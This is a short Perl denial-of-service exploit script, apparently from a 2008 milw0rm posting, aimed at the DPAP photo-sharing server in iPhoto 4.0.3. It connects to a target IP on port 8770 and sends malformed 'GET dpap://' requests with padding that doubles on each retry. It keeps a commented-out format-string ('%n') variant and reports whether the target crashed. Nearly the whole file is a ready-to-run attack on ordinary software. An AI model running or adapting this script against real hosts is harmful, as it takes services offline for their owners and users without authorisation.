63 lines
No EOL
1.5 KiB
Perl
Executable file
63 lines
No EOL
1.5 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
# crash the iPhoto DPAP (Digital Photo Access Protocol) Server on
|
|
iPhoto 4.0.3
|
|
# technically the server exits cleanly but it does not restart
|
|
|
|
use IO::Socket::INET;
|
|
|
|
die "Usage $0 <target_ip>\n" unless ($ARGV[0]);
|
|
|
|
$| = 1;
|
|
|
|
if ($ARGV[1]) {
|
|
$port = $ARGV[1];
|
|
} else {
|
|
$port = 8770;
|
|
}
|
|
|
|
$socket=new IO::Socket::INET->new(PeerAddr=>$ARGV[0],
|
|
PeerPort=>$port,
|
|
Proto=>'tcp');
|
|
|
|
if ($socket == NULL) {
|
|
die "Cannot connect to $ARGV[0] on port $port\n";
|
|
}
|
|
|
|
|
|
$malformed_data = "AAAAAAAAAAAAAAA";
|
|
#$malformed_data = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n";
|
|
$count = 0;
|
|
|
|
$msg="GET dpap://$malformed_data HTTP/1.1\r\n\r\n";
|
|
print "Sending message:\n$msg\n";
|
|
$socket->send($msg);
|
|
$socket->close();
|
|
sleep(1);
|
|
$cont = 1;
|
|
|
|
# this loop is unnecessary but who cares
|
|
while ($cont && $count < 11) {
|
|
$socket2 = new IO::Socket::INET->new(PeerAddr=>$ARGV[0],
|
|
PeerPort=>$port, Proto=>'tcp');
|
|
if ($socket2 == NULL) {
|
|
$cont = 0;
|
|
print "crash\n";
|
|
} else {
|
|
print ".";
|
|
# next line not necessary but does the job too
|
|
$malformed_data = $malformed_data.$malformed_data;
|
|
$msg="GET dpap://$malformed_data HTTP/1.1\r\n\r\n";
|
|
$socket2->send($msg);
|
|
$count++;
|
|
$socket2->close();
|
|
sleep(1);
|
|
}
|
|
}
|
|
|
|
if ($count < 10) {
|
|
print "iPhotoDPAPServer on $ARGV[0] has been pwn3d\n";
|
|
} else {
|
|
print "Unable to crash iPhotoDPAPServer on $ARGV[0]\n";
|
|
}
|
|
|
|
# milw0rm.com [2008-02-18] |